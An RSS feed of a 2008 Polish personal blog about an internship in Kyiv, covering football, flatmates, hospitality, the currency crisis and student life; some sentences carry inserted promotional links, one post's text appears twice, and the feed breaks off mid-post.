﻿<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Praktyka w Kijowie</title>
	<atom:link href="http://kijow.szu.pl/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://kijow.szu.pl</link>
	<description>Cienie i blaski życia na Ukrainie w mieście Kijów</description>
	<pubDate>Mon, 12 Jan 2009 18:42:01 +0000</pubDate>
	<generator>http://wordpress.org/</generator>
	<language>en</language>
			<item>
		<title>Kijów, Ukraina praca zakończona, praktyka zakończona</title>
		<link>http://kijow.szu.pl/?p=18</link>
		<comments>http://kijow.szu.pl/?p=18#comments</comments>
		<pubDate>Mon, 22 Dec 2008 09:05:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Kijów]]></category>

		<guid isPermaLink="false">http://kijow.szu.pl/?p=18</guid>
		<description><![CDATA[Święta coraz bliżej, czas wracać do domu, co za tym idzie wrócić z Ukrainy. Kijów ładne miasto żal wyjeżdżać. Mimo, że w USA na praktyce też było fajnie z Ukrainy ciężej jest wyjechać. Różnie bywało, z początku jak to zwykle trochę ciężko. Ciężkość ta nie wynikała bynajmniej z tego, że coś było ciężkie, tylko z [...]]]></description>
			<content:encoded><![CDATA[<p><img src='http://kijow.szu.pl/foty/cerkiew_mini.jpg' alt='' class='alignleft' />Święta coraz bliżej, czas wracać do domu, co za tym idzie wrócić z Ukrainy. Kijów ładne miasto żal wyjeżdżać. Mimo, że w USA na praktyce też było fajnie z Ukrainy ciężej jest wyjechać. Różnie bywało, z początku jak to zwykle trochę ciężko. Ciężkość ta nie wynikała bynajmniej z tego, że coś było ciężkie, tylko z mojego sposobu myślenia, nie możności zrozumienia tutejszego stylu życia i podejścia do niektórych spraw. Z czasem zrozumiałem i się przyzwyczaiłem. <span id="more-18"></span>Już byłem bliski zrezygnowania z konkursu na praktykanta roku, tym bardziej, że rozpoczął się nowy równie prestiżowy konkurs na dyplomanta roku. Jednak przeanalizowanie mojej sytuacji geopolitycznej nie pozwoliło mi na taką decyzję, tym bardziej, że ten drugi konkurs wcale nie musi się okazać łatwiejszy. Koniec końców udało się, jest kolejny certyfikat do powieszenia na ścianie, współpracownicy raczej ze mnie zadowoleni, trochę pogawariliśmy, trochę wypiliśmy, trochę popracowaliśmy, więc wszystko książkowo tak jak być powinno.</p>
<p>Życzę wesołych Świąt Bożego Narodzenia.<br />
Żeby tylko pogoda była.<br />
<img src='http://kijow.szu.pl/foty/cerkiew.jpg' alt='' class='center' /></p>
]]></content:encoded>
			<wfw:commentRss>http://kijow.szu.pl/?feed=rss2&amp;p=18</wfw:commentRss>
		</item>
		<item>
		<title>Czy to Drezno czy to Kijów, zawsze kibicuje Dynamu!!</title>
		<link>http://kijow.szu.pl/?p=16</link>
		<comments>http://kijow.szu.pl/?p=16#comments</comments>
		<pubDate>Thu, 04 Dec 2008 10:05:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Kijów]]></category>

		<guid isPermaLink="false">http://kijow.szu.pl/?p=16</guid>
		<description><![CDATA[
Wczoraj byłem na meczu Dynama Kijów z Dniepro Pietrovskiem. Z przyjemnością donoszę, że po interesującej grze wygrało Dynamo. Pierwszą bramkę z główki zdobył gracz z numerem 15, drugą natomiast gracz z numerem 19, druga bramka bardzo  mi się podobała, od razu można było zauważyć, że gracz był dobrze przygotowany technicznie i potrafi zachować zimną [...]]]></description>
			<content:encoded><![CDATA[<p><img src='foty/dynamo_mini.jpg' alt='mecz dynama Kijów' class='alignleft' /></p>
<p>Wczoraj byłem na meczu Dynama Kijów z Dniepro Pietrovskiem. Z przyjemnością donoszę, że po interesującej grze wygrało Dynamo. Pierwszą bramkę z główki zdobył gracz z numerem 15, drugą natomiast gracz z numerem 19, druga bramka bardzo  mi się podobała, od razu można było zauważyć, że gracz był dobrze przygotowany technicznie i potrafi zachować zimną krew. Wróżę mu przyszłość w tym sporcie. Dla osób nie będących chwilowo na bieżąco z sytuacją w tabeli pierwszej ligi ukraińskiej przypomnę, że Dynamo Kijów jest na czele Dniepro <a href="http://www.ragtimecafe.pl">Ragtime</a> Pietrovs mniej więcej w środku. <span id="more-16"></span>Graczom przyjezdnych udało się zdobyć jedną bramkę. Osobiście jej nie widziałem, bo akurat rozmawiałem z kimś, ale jak zrelacjonowała mi koleżanka, to ta bramka to był czysty przypadek. Mimo deszczu i chłodu wyjście na mecz Dynama uważam za udany. Przyznam, że wielkość stadionu trochę mnie zaskoczyła. Jak na drużynę grającą w Lidze Mistrzów spodziewałem się czegoś większego. Jednak to nie umniejsza sukcesów Dynama, zgodnie z powiedzeniem, nieważne jak wyglądasz, ważne jak grasz.<br />
	Sytuacja w naszej komunie uległa lekkiej zmianie. Dziś wyjechały kolejne dwie osoby, trochę ich szkoda, bo obie były zabawne i wiele wnosiły do naszego wspólnego życia. Jedna z np. dużo mówiła, zwykle o swoich nowych butach, które kupowała chyba co tydzień, czasem co dwa, druga natomiast mówiła cały czas, ciężko było znaleźć chwile, kiedy nie mówiła i bardzo trudno było jej przerwać. Nawet zbytnio jej nie przeszkadzało jak nikt jej nie słuchał. Co nie stanowiło większej różnicy, bo nawet jak ktoś słuchał to wszystko co był w stanie wtrącić to „mhh, tak, ok., mhmm”, a jak ktoś nie słuchał to i tak te słowa można wtrącić raz na jakiś czas w dowolnym momencie, tak z grzeczności, żeby można było to nazwać rozmową i zawsze pasują. Mówiła jak jadła, mówiła jak myła zęby, czy przez sen mówiła, to nie wiem, ale może dobrze, że nie musiałem się przekonywać. Co w sumie w pewnym sensie było zaletą, bo nigdy nie było u nas cicho. Także w najbliższych 3 tygodniach w naszym mieszkaniu spodziewamy się trochę ciszy. Żeby tylko nie było tak cicho jak w u mnie pokoju w Oklahomie w USA. Sam osobiście lubiłem z nią rozmawiać. To była jedna osoba, która poza mną miała tu pracę, dlatego podobnie jak ja wstawała rano i razem jedliśmy śniadanie. Miło wspominam te konwersacje przy porannej herbacie <a href="http://www.ragtimecafe.pl">Ragtime</a>.<br />
	Ostatnio u nas na imprezie pojawił się Anton. Anton skończył turystykę na jakimś uniwersytecie, ponoć popularnym w niektórych kręgach (jakich niebawem), ale Uniwersytet Szewczenki to nie był i opowiedział nam jak wyglądały jego studia. Zaczęło się od tego, że dla niektórych matematyka jest trudna do zrozumienia i w ogóle, po co się jej uczyć. Argumentował to bardzo dobrze, moim skromnym zdaniem lepiej niż mały Jasiu w 5 klasie podstawówki lub taka jedna dziewczynka o jasnych blond włosach i paznokciach dłuższych od palców, której to rozmowę z jej koleżankami podsłuchałem kiedyś przypadkiem w autobusie, kiedy to ona jechała na zajęcia do swojej Wyższej Szkoły Latania Balonem. Generalnie Anton mówił, że studia były bardzo interesujące, ale egzaminy jednak trudne i on nie miał zbytnio czasu, żeby się do nich wszystkich przygotować, tym bardziej, że wiedzy tej, która była potrzebna do egzaminu nie uważał za niezbędną mu do życia. Oczywiście, zaliczył on wszystkie egzaminy na mocne 3. Albo sam nie chciał zdradzić jak ten system funkcjonuję, albo po prostu nie wiedział. Powiedział, że na roku byłą starosta, która poza statutowymi obowiązkami zajmowała się jeszcze kontaktowaniem takich bardzo zajętych studentów z wykładowcami. I przed egzaminem zbierała ona od chętnych argumenty w odpowiedniej formie przekonywujące profesora do zaliczenia przedmiotu, zwykle jakieś 90% decydowało się na tę formę zaliczenia, prawdopodobnie ze względu na brak czasu i później na egzaminie profesor miał już przygotowaną listę osób, którym udało się zaliczyć przedmiot w przedterminie. Ja sam nie wiem czy oni tam jakieś referaty, czy też inne sprawozdania pisali, czy może zdjęcia z wakacji z Ameryki załączali, jednak system funkcjonował. Anton był zdolny, więc w przedterminie udało mu się zaliczyć 75% egzaminów. Jak wiadomo w naszym towarzystwie, w którym w wolnych chwilach rozmawiamy o oddziaływujących na siebie siłach w atomie, bakteriach wywołujących różne choroby lub algorytmach googla, postawa Antona nie była przyjęta w przyjemny sposób. Mimo jego szczerych chęci nie udało mu się przekonać nikogo do swojej postawy, a już w szczególności nie tych koleżanek, które opisał powyżej, właściwie jak z nimi zaczął rozmawiać to już słowem się nie odezwał. Tłumaczył się, że tak to po prostu wygląda na Ukrainie. W sumie chłopak skończył studia, ma papier z turystyki i raczej dobrą pracę jako administrator sieci w jakimś banku. Może nie jest to postawa na medal, ale jest to wina systemu, który nie weryfikuje wiedzy. Pociągnąłem ten temat dalej. Chciałem się dowiedzieć, czegoś nauczyć. Do dziś jestem zafascynowany postacią naszego kolegi pochodzenia rosyjskiego, z którym studiowałem, który to usłyszawszy, że jeden z naszych profesorów studiował właśnie w ZSRR potrafił pójść do niego z butelką i już nie musiał pisać egzaminu, do którego ja np. musiałem podchodzić dwa razy. Rozmawiając tak dalej na ten jakże fascynujący temat z Antonem, zacząłem się zastanawiać, czy nie zrobić sobie aspirantury w Kijowie. Anton bardzo ładnie to przedstawił. Jako student z zagranicy oczywiście musiałbym zapłacić za studia, bo rząd ukraiński nie łoży na obcokrajowców, ale występuje tu bardzo wygodny zaoczny tryb studiów, który nie wymaga pojawiania się na uczelni każdego dnia i jak ktoś jest zdolny to jest w stanie zrobić aspiranturę w dwa lata. Ja szybko chwytam, myślę, że bym sobie poradził, tak przysiadł bym, tak fest i w dwa lata bym zakończył. </p>
<p>Wczoraj byłem na meczy Dynama Kijów z Dniepro Pietrovskiem. Z przyjemnością donoszę, że po interesującej grze wygrało Dynamo. Pierwszą bramkę z główki zdobył gracz z numerem 15, drugą natomiast gracz z numerem 19, druga bramka bardzo  mi się podobała, od razu można było zauważyć, że gracz był dobrze przygotowany technicznie i potrafi zachować zimną krew. Wróżę mu przyszłość w tym sporcie. Dla osób nie będących chwilowo na bieżąco z sytuacją w tabeli pierwszej ligi ukraińskiej przypomnę, że Dynamo Kijów jest na czele Dniepro Pietrovs mniej więcej w środku. Graczom przyjezdnych udało się zdobyć jedną bramkę. Osobiście jej nie widziałem, bo akurat rozmawiałem z kimś, ale jak zrelacjonowała mi koleżanka, to ta bramka to był czysty przypadek. Mimo deszczu i chłodu wyjście na mecz Dynama uważam za udany. Przyznam, że wielkość stadionu trochę mnie zaskoczyła. Jak na drużynę grającą w Lidze Mistrzów spodziewałem się czegoś większego. Jednak to nie umniejsza sukcesów Dynama, zgodnie z powiedzeniem, nieważne jak wyglądasz, ważne jak grasz.<br />
	Sytuacja w naszej komunie uległa lekkiej zmianie. Dziś wyjechały kolejne dwie osoby, trochę ich szkoda, bo obie były zabawne i wiele wnosiły do naszego wspólnego życia. Jedna z np. dużo mówiła, zwykle o swoich nowych butach, które kupowała chyba co tydzień, czasem co dwa, druga natomiast mówiła cały czas, ciężko było znaleźć chwile, kiedy nie mówiła i bardzo trudno było jej przerwać. Nawet zbytnio jej nie przeszkadzało jak nikt jej nie słuchał. Co nie stanowiło większej różnicy, bo nawet jak ktoś słuchał to wszystko co był w stanie wtrącić to „mhh, tak, ok., mhmm”, a jak ktoś nie słuchał to i tak te słowa można wtrącić raz na jakiś czas w dowolnym momencie, tak z grzeczności, żeby można było to nazwać rozmową i zawsze pasują. Mówiła jak jadła, mówiła jak myła zęby, czy przez sen mówiła, to nie wiem, ale może dobrze, że nie musiałem się przekonywać. Co w sumie w pewnym sensie było zaletą, bo nigdy nie było u nas cicho. Także w najbliższych 3 tygodniach w naszym mieszkaniu spodziewamy się trochę ciszy. Sam osobiście lubiłem z nią rozmawiać. To była jedna osoba, która poza mną miała tu pracę, dlatego podobnie jak ja wstawała rano i razem jedliśmy śniadanie. Miło wspominam te konwersacje przy porannej herbacie.<br />
	Ostatnio u nas na imprezie pojawił się Anton. Anton skończył turystykę na jakimś uniwersytecie, ponoć popularnym w niektórych kręgach (jakich niebawem), ale Uniwersytet Szewczenki to nie był i opowiedział nam jak wyglądały jego studia. Zaczęło się od tego, że dla niektórych matematyka jest trudna do zrozumienia i w ogóle, po co się jej uczyć. Argumentował to bardzo dobrze, moim skromnym zdaniem lepiej niż mały Jasiu w 5 klasie podstawówki lub taka jedna dziewczynka o jasnych blond włosach i paznokciach dłuższych od palców, której to rozmowę z jej koleżankami podsłuchałem kiedyś przypadkiem w autobusie, kiedy to ona jechała na zajęcia do swojej Wyższej Szkoły Latania Balonem. Generalnie Anton mówił, że studia były bardzo interesujące, ale egzaminy jednak trudne i on nie miał zbytnio czasu, żeby się do nich wszystkich przygotować, tym bardziej, że wiedzy tej, która była potrzebna do egzaminu nie uważał za niezbędną mu do życia. Oczywiście, zaliczył on wszystkie egzaminy na mocne 3. Albo sam nie chciał zdradzić jak ten system funkcjonuję, albo po prostu nie wiedział. Powiedział, że na roku byłą starosta, która poza statutowymi obowiązkami zajmowała się jeszcze kontaktowaniem takich bardzo zajętych studentów z wykładowcami. I przed egzaminem zbierała ona od chętnych argumenty w odpowiedniej formie przekonywujące profesora do zaliczenia przedmiotu, zwykle jakieś 90% decydowało się na tę formę zaliczenia, prawdopodobnie ze względu na brak czasu i później na egzaminie profesor miał już przygotowaną listę osób, którym udało się zaliczyć przedmiot w przedterminie. Ja sam nie wiem czy oni tam jakieś referaty, czy też inne sprawozdania pisali, czy może zdjęcia z wakacji z Ameryki załączali, jednak system funkcjonował. Anton był zdolny, więc w przedterminie udało mu się zaliczyć 75% egzaminów. Jak wiadomo w naszym towarzystwie, w którym w wolnych chwilach rozmawiamy o oddziaływujących na siebie siłach w atomie, bakteriach wywołujących różne choroby lub algorytmach googla, postawa Antona nie była przyjęta w przyjemny sposób. Mimo jego szczerych chęci nie udało mu się przekonać nikogo do swojej postawy, a już w szczególności nie tych koleżanek, które opisał powyżej, właściwie jak z nimi zaczął rozmawiać to już słowem się nie odezwał. Tłumaczył się, że tak to po prostu wygląda na Ukrainie. W sumie chłopak skończył studia, ma papier z turystyki i raczej dobrą pracę jako administrator sieci w jakimś banku. Może nie jest to postawa na medal, ale jest to wina systemu, który nie weryfikuje wiedzy. Pociągnąłem ten temat dalej. Chciałem się dowiedzieć, czegoś nauczyć. Do dziś jestem zafascynowany postacią naszego kolegi pochodzenia rosyjskiego, z którym studiowałem, który to usłyszawszy, że jeden z naszych profesorów studiował właśnie w ZSRR potrafił pójść do niego z butelką i już nie musiał pisać egzaminu, do którego ja np. musiałem podchodzić dwa razy. Rozmawiając tak dalej na ten jakże fascynujący temat z Antonem, zacząłem się zastanawiać, czy nie zrobić sobie aspirantury w Kijowie. Anton bardzo ładnie to przedstawił. Jako student z zagranicy oczywiście musiałbym zapłacić za studia, bo rząd ukraiński nie łoży na obcokrajowców, ale występuje tu bardzo wygodny zaoczny tryb studiów, który nie wymaga pojawiania się na uczelni każdego dnia i jak ktoś jest zdolny to jest w stanie zrobić aspiranturę w dwa lata. Ja szybko chwytam, myślę, że bym sobie poradził, tak przysiadł bym, tak fest i w dwa lata bym zakończył. </p>
<p><img src='foty/dynamo.jpg' alt='mecz dynama Kijów' class='center' /></p>
]]></content:encoded>
			<wfw:commentRss>http://kijow.szu.pl/?feed=rss2&amp;p=16</wfw:commentRss>
		</item>
		<item>
		<title>Sytuacja ekonomiczna na Ukrainie</title>
		<link>http://kijow.szu.pl/?p=13</link>
		<comments>http://kijow.szu.pl/?p=13#comments</comments>
		<pubDate>Fri, 21 Nov 2008 13:27:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Kijów]]></category>

		<guid isPermaLink="false">http://kijow.szu.pl/?p=13</guid>
		<description><![CDATA[
Jeszcze na początku tego roku chciałem bardzo pojechać do Rosji, jak przez problemy wizowe wyjazd ten nie doszedł do skutku, trochę ubolewałem nad tym. Jadąc do Kijowa nastawiałem się, że to będzie taki półśrodek pobytu w rosyjsko języcznym kraju. Nie potrafiłem sobie tego po prostu wyobrazić, że na Ukrainie mówi się po prostu po rosyjsku. [...]]]></description>
			<content:encoded><![CDATA[<p><img src='foty/feofania_mini.jpg' alt='' class='alignleft' /></p>
<p>Jeszcze na początku tego roku chciałem bardzo pojechać do Rosji, jak przez problemy wizowe wyjazd ten nie doszedł do skutku, trochę ubolewałem nad tym. Jadąc do Kijowa nastawiałem się, że to będzie taki półśrodek pobytu w rosyjsko języcznym kraju. Nie potrafiłem sobie tego po prostu wyobrazić, że na Ukrainie mówi się po prostu po rosyjsku. Myślę sobie poza tym, że Kijów to jest jednak dobry kierunek <a href="http://www.ragtimecafe.pl">Ragtime</a>, wielu wielkich ludzi tu było, tu zaczynało, Wujek Wolter, Michał Bułhakow. Takie nazwiska to nie może być przypadek.<span id="more-13"></span> Realizuję powoli jeden z moich celów strategicznych nauki języka rosyjskiego. Już prawie kończę opanowywać kanon 30 słów potrzebnych mi do życia, za pomocą których mogę wyrazić w dużym przybliżeniu to czego potrzebuję. Wiadomo jest, że zwykle każdy człowiek posługuję się analogicznymi zwrotami we wszystkich językach. Ja przy tym zwykle mówię to samo, tylko dla urozmaicenia wypowiadam swoje kwestie w różnych czasach i zmieniam przymiotniki, których jako źródło obrałem sobie podręczniki do nauki elektroniki/fizyki. Z tego właśnie powodu zdaje mi się, że do końca wyjazdu już perfekcyjnie opanuję zagadnienia rozmów o poruszaniu się elektronów w półprzewodniku, wznoszeniu toastów, sytuacji na bliskim wschodzi oraz (proszę o uwagę, pojawia się coś nowego) naszego życia w obliczu kryzysu. Z chęcią bym się dowiedział jak wygląda sytuacja z kryzysem u nas w Polsce, bo tu ponoć zaczyna robić się źle, tłumaczy się to tym, że kurs dolara był cały czas zaniżony i teraz zaczyna on wracać do normalnej ceny, całkiem szybko, dlatego też dolarów w kantorze nie da się kupić, bo nikt ich nie sprzeda i pojawia się drugi obieg cikciaży, którzy skupują $ po lepszych cenach, sam się zastanawiam czy nie wziąć się za handel walutą, może parę grosza wpadnie. Z drugiej strony jak patrzyłem się na kursy walut w polskich kantorach to sytuacja wygląda bardzo podobnie, $ i euro idą w górę, ale te ceny generalnie są takie same jak na Ukrainie, czy to znaczy, że u nas kursy też były zaniżane i to że w wakacje można było trochę korzystniej wyjechać na zachód to jest efekt nie naszego boomu gospodarczego tylko jakiś spekulacji i u nas wszystko podąża w tym samym kierunku jak tu na Ukrainie? Czyli jest kryzys, czy może tu na Ukrainie przesadzają, bo dolar i tak by po wyborach w USA poszedł w górę, bo tak naprawdę ceny walut wracają do normalności, tej z przed 3-4 lat? Będę wdzięczny za wszelkie wyjaśnienia. Niby jak odbywałem <a href="http://praktykawusa.with-us.eu">praktykę w USA</a> to kryzys się zaczynał, ale ja go tam nie widziałem.<br />
	Udało mi się znaleźć w Kijowie Polaków. Jest tu grupa polskich przedsiębiorców, którzy pod szyldem swojego stowarzyszenia w pewien sposób integrują polonię na Ukrainie. Jednym z takich działań jest sekcja piłki nożnej. Z tej właśnie okazji po mniej więcej pięcioletniej przerwie wróciłem do gry. Decyzja nie była łatwa. Dostałem maila, że w tym samym dniu jest trening gdzieś w małym miasteczku pod Kijowem. Niestety google maps nie ma planu Kijowa i okolic co znacznie utrudniło mi zadanie. Na przeszkodzie stanął mi też jeden bardzo znany ukraiński poeta Szewczenko, którego imieniem są nazywane wszystkie ulice, piereulki, prospekty, mosty, place itp. obiekty, wiec właściwie nigdy nie jestem pewien czy na właściwego Szewczenkę jadę. Było ciemno i zimno, ale udało się, trafiłem na odpowiedniego Szewczenkę, gierka była dobra. Nie wszystko z piłki nożnej zapomniałem. Słowo sekcja brzmi poważnie, więc też nie wiedziałem czego się spodziewać, czy ligi oldboji czy wybieganych nastolatków, ale zdaje mi się, ze dobrze się wpasowałem w umiejętności zawodników. Z takich poważniejszych wydarzeń sekcji był mecz z artystami Ukrainy, który zakończył się remisem. Dowiedziałem się także, czegoś o celach stowarzyszenia, tworzą oni pewnego rodzaju grupę wsparcia dla polskich przedsiębiorców, których jest tu chyba sporo. </p>
<p>Jeśli swoimi relacjami zachęciłem kogoś do zobaczenia Kijowa, albo ktoś chciałby po prostu pograć z nami w piłkę to zapraszam serdecznie, jestem tu do świąt.</p>
<p>P.S. Mam ładny widok z okna.</p>
<p><img src='foty/feofania.jpg' alt='' class='center' /></p>
]]></content:encoded>
			<wfw:commentRss>http://kijow.szu.pl/?feed=rss2&amp;p=13</wfw:commentRss>
		</item>
		<item>
		<title>Lubię to chłodne kijowskie powietrze w sobotę z rana&#8230;</title>
		<link>http://kijow.szu.pl/?p=6</link>
		<comments>http://kijow.szu.pl/?p=6#comments</comments>
		<pubDate>Mon, 17 Nov 2008 21:51:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Kijów]]></category>

		<guid isPermaLink="false">http://kijow.szu.pl/?p=6</guid>
		<description><![CDATA[Lubię to chłodne kijowskie powietrze w sobotę z rana w połączeniu z krystalicznie czystym niebem oraz słońce, które umila mi drogę do stacji metra Ragtime.
Kijów jest bardzo przyjemnym miastem, można tu żyć, jest zupełnie inaczej niż w Tulsie w USA. Bardzo mi się podoba życzliwość i wesołość narodu ukraińskiego, a gościnność jest czasem tak duża, [...]]]></description>
			<content:encoded><![CDATA[<p><img src='foty/pierogowo_mini.jpg' alt='' class='alignleft' />Lubię to chłodne kijowskie powietrze w sobotę z rana w połączeniu z krystalicznie czystym niebem oraz słońce, które umila mi drogę do stacji metra <a href="http://www.ragtimecafe.pl">Ragtime</a>.</p>
<p>Kijów jest bardzo przyjemnym miastem, można tu żyć, jest zupełnie inaczej niż w Tulsie w USA. Bardzo mi się podoba życzliwość i wesołość narodu ukraińskiego, a gościnność jest czasem tak duża, że nie mogę tego zrozumieć.</p>
<p><span id="more-6"></span></p>
<p>Bardzo mi się podoba, że na weekendy zamykają odcinek ulicy Hreszczatik, który przechodzi przez ścisłe centrum. Ulica ta staje się wtedy deptakiem i należy do ludzi. Jest tam bardzo wesoło. Z jednej strony śmieszni kolesie w okularach grają na gitarach i perkusji tam też stoi dość spora ilość ludzi, którzy z przysłuchują się muzyce <a href="http://www.ragtimecafe.pl">Ragtime</a>, raz na jakiś czas ktoś podejdzie i wrzuci muzykom do torby jakieś drobne. Czasem kogoś poniesie euforia i zacznie tańczyć. Parędziesiąt metrów dalej paru kolesi rozłożyło matę i tańczą breakdance, tu zwykle jest zgromadzone młodsze towarzystwo. Parę metrów dalej jeden człowiek zachęca ludzi do spróbowania swoich sił w przejechaniu się na rowerze, w którym jak się skręca w prawo to on jedzie w lewo – jeszcze nie widziałem, żeby komuś się udało przejechać więcej niż metr. Jest jeszcze trochę więcej podobnych festynowych atrakcji. Wszyscy się śmieją, dobrze bawią i piją piwo. </p>
<p>Podoba mi się to, że jest tu tak swobodnie. Nie ma jakiś absurdalnych zakazów picia alkoholu w miejscach publicznych, ktoś sobie zaparuje samochód na chodniku to też nikomu to nie przeszkadza (choć ostatnio widziałem jak odholowywali dwa, tylko to było w ciągu dnia). Nie jest tak jak powoli u nas zaczyna się robić, że wszystko musi być od linijki równiutko i wszystko, co służy rozrywce jest zabronione. Tu mają stać kwiatki, tam drzewka, wszystko ma ładnie wyglądać, ale nie można dotykać, bo to nie jest dla ludzi tylko dla tego, żeby wyglądało.</p>
<p>Lubię ukraińską gościnność. Poszedłem raz do koleżanki do niej do akademika, właściwie przyszedłem tylko na chwilę wymienić się zdjęciami lub innymi mp-trójkami. Ona pyta się mnie, czego się napiję, jakieś herbaty lub kawy. Bardzo miło z jej strony, w sumie to rzecz normalna u nas też tak się robi. Odpowiadam, że nie dziękuję bardzo, ja tylko tak na chwileczkę, wezmę te zdjęcia i będę musiał lecieć. GAFA! Ona uśmiecha się i mówi spokojnie, że nie, że tak nie będzie. Tłumaczy, że na Ukrainie mają taki zwyczaj gościnności, że jak ktoś przychodzi to muszą go czymś ugościć, a jak ja w tym momencie mówię, że nic nie chcę to, to jest bardzo nie ładne, po co przychodziłem skoro niczego nie chcę. Spostrzegłem swój błąd, powiedziałem, że z chęcią napiję się herbaty i już było ok. Na temat kultury ukraińskiej rozmawialiśmy też ostatnio na zajęciach z Olgą - naszą nauczycielką od rosyjskiego. Opowiadała ona o różnicach w kulturze między Rosjanami i Ukraińcami. Mówiła, że ma np. koleżankę, która pochodzi z Nowosybirska i jest naprawdę miła, ale jak przychodzi ją odwiedzić, to zmienia zdanie diametralnie, ponieważ ona nie potrafi przyjmować gości w stylu ukraińskim. Olga opowiadała, że jak przychodzi to ta koleżanka powinna ją czymś ugościć, przygotować jej coś do picia, do jedzenia. Użyła jakiegoś wyrażenia, które mniej więcej oznaczało, że to jej się po prostu należy, to nie wynika z dobrej woli gospodarza, tylko on musi zawsze przygotować coś do jedzenia i do picia, że jak ona przychodzi to ona właśnie tego oczekuje. Była wręcz oburzona tym zachowaniem. Powiedziała, że ta koleżanka siedzi dalej przed komputerem i jakby w ogóle się gościem nie interesowała. Powiedziała, że wśród Ukraińców takie zachowanie jest nie dopuszczalne. W tym momencie, rozumiejąc już, o co chodzi w gościnności na Ukrainie, dokonałem szybkiej analizy, czy czasem ktoś do mnie nie przychodził w między czasie i czy nie popełniłem znowu jakiejś gafy. Przypomniałem sobie, że Olga z Kariną, nasze nauczycielki były u nas na nudnej imprezie Halloween, ale na szczęście ledwo jak przekroczyły próg już stałem tam z dwoma szklankami jakiegoś pysznego napoju. W prawdzie nie wypiły, bo przyjechały samochodem, jednak zapamiętają, że były ugoszczone, to się liczy. Mogę spokojnie iść znowu na zajęcia i spojrzeć im w oczy. Trzeba ćwiczyć zachowanie się w towarzystwie, liczy się praktyka.</p>
<p>Lubię ukraiński chleb. Nie jest oczywiście on tak dobry jak ten, który mamy w Polsce, ale można go jeść ze smakiem. Jest to jak na razie najlepszy chleb, jaki spotkałem za granicą. To pieczywo, które jadłem w USA, albo w Niemczech nie dorasta do pięt ukraińskiemu.Właściwie to moja<a href="http://praktykawusa.with-us.eu">praktyka w USA</a> W tym momencie nie można nie pochwalić francuskich bagietek. To w prawdzie nie chleb, ale też są bardzo dobre.</p>
<p>Lubię sałatkę z marchwi u mnie w stołówce, koło pracy. Nie potrafię opisać tego smaku. Jest rewelacyjna.</p>
<p>Śmieszą mnie strony mojego kalendarza.</p>
<p>Lubię popularność butów na wysokim obcasie.</p>
<p>Lubię pamiątki związku radzieckiego. Jest tu bardzo dużo parków, są duże i zadbane, jest gdzie się przejść, każdy ma swoją historię. Zwykle jest to park zwycięstwa, który znajduję się w każdym większym mieście ZSSR, wychwalający wygraną w drugiej wojnie światowej. Jest też tęcza, która jest symbolem jedności Ukrainy ze związkiem radzieckim. Są parki przy pałacykach, chyba carów. Gdzieś zwykle stoi pomnik Lenina, tam też dookoła musi być kilka ładnie wkomponowanych drzewek. Na chodnikach czasem zdarzy się jakiś czołg symbolizujący trudy walki o wolność itp. Często z ideami tych pamiątek ZSRR się nie zgadam, ale tego typu pozostałości dodają miastu klimatu.</p>
<p>Lubię stare kamienice, w Kijowie jest ich dużo, niektóre odnowione, niektóre nie. Wojny raczej tutaj nie było, więc wiele się zachowało. </p>
<p>Lubię metro, którym można prawie wszędzie, szybko dotrzeć. </p>
<p>Podoba mi się, że kierowcy przepuszczają pieszych na pasach i nawet jak pasów nie ma. Bardzo mnie to zaskoczyło, spodziewałem się, że w tej kwestii, będzie tutaj bardziej podobnie do tego, co widziałem w Moskwie, czyli, że wszyscy zbierają punkty i wymieniają potem na kanapki w Mc. </p>
<p><img src='foty/pierogowo.jpg' alt='' class='center' /></p>
]]></content:encoded>
			<wfw:commentRss>http://kijow.szu.pl/?feed=rss2&amp;p=6</wfw:commentRss>
		</item>
		<item>
		<title>Nie wiedziałem czy się śmiać, czy płakać</title>
		<link>http://kijow.szu.pl/?p=5</link>
		<comments>http://kijow.szu.pl/?p=5#comments</comments>
		<pubDate>Mon, 17 Nov 2008 21:46:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Kijów]]></category>

		<guid isPermaLink="false">http://kijow.szu.pl/?p=5</guid>
		<description><![CDATA[Wszyscy praktykanci, którzy tu przyjechali są niemieckojęzyczni, tzn. sami Niemcy i jedna Szwajcarka Serbskiego pochodzenia, albo nawet Serbka, ale i tak mówi po niemiecku. Mieszkam w mieszkaniu z czwórką Niemców i jednym Ukraińcem – Andrejem, który rzadko bywa w domu, on jest zapracowanym człowiekiem. Często słuchamy muzyki Ragtime jedząc smaczną kolację u nas w kuchni. [...]]]></description>
			<content:encoded><![CDATA[<p><img src='foty/halloween_mini.jpg' alt='' class='alignleft' />Wszyscy praktykanci, którzy tu przyjechali są niemieckojęzyczni, tzn. sami Niemcy i jedna Szwajcarka Serbskiego pochodzenia, albo nawet Serbka, ale i tak mówi po niemiecku. Mieszkam w mieszkaniu z czwórką Niemców i jednym Ukraińcem – Andrejem, który rzadko bywa w domu, on jest zapracowanym człowiekiem. Często słuchamy muzyki <a href="http://www.ragtimecafe.pl">Ragtime</a> jedząc smaczną kolację u nas w kuchni. Tak jak moja <a href="http://praktykawusa.with-us.eu">praktyka w USA</a> upłynęła pod hasłem nauki języka angielskiego tu raczej więcej mowię po angielsku, niz po rosyjsku. Zatem atmosfera jest bardziej niemiecka, niż jak mieszkałem w Niemczech. Cały czas mówimy po niemiecku, teraz wprowadził się na szczęście jeden Niemiec, który mówi całkiem dobrze po rosyjsku, więc staramy się rozmawiać w tym języku.<span id="more-5"></span> Generalnie jest przyjemnie dogadujemy się, tylko czasem mnie śmieszy jak w czasie różnych rozmów oni np. narzekają na niektóre rzeczy na Ukrainie, które są nielogiczne (w końcu jak pokazał miniony system i fizyka kwantowa nie wszystko musi być logiczne) i wtedy przemawia przez nich to typowo niemieckie poczucie zajebistości. Po prostu chce mi się śmiać, ale nic nie mówię, nie tyczy mnie się to, ani niczego, co mi jest bliskie, więc w tym wypadku nie 